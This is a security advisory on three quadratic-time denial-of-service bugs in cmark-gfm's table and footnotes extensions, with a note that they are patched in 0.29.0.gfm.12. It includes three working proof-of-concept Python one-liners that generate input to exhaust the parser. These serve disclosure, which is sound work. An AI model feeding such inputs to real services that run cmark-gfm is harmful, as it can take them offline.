Impact

Three polynomial time complexity issues in cmark-gfm may lead to unbounded resource exhaustion and subsequent denial of service.

Proof of concept

Issue 1:

python3 -c 'n = 10000; print("|" + "x|" * n + "\n|" + "-|" * n)' | cmark-gfm -e table

Issue 2:

python3 -c 'n = 10000; print("|" + "x|" * n + "\n|" + "-|" * n + "\n" + "a\n" * n)' | cmark-gfm -e table

Issue 3:

python3 -c 'n = 10000; print("[^1]:" * n + "\n" * n)' | cmark-gfm -e footnotes

Increasing the number 10000 in the above commands causes the running time to increase quadratically.

Patches

These vulnerabilities have been patched in 0.29.0.gfm.12.

References

• https://en.wikipedia.org/wiki/Time_complexity
• https://securitylab.github.com/advisories/GHSL-2023-117_GHSL-2023-119_cmark-gfm/

For more information

If you have any questions or comments about this advisory:

• Open an issue in github/cmark-gfm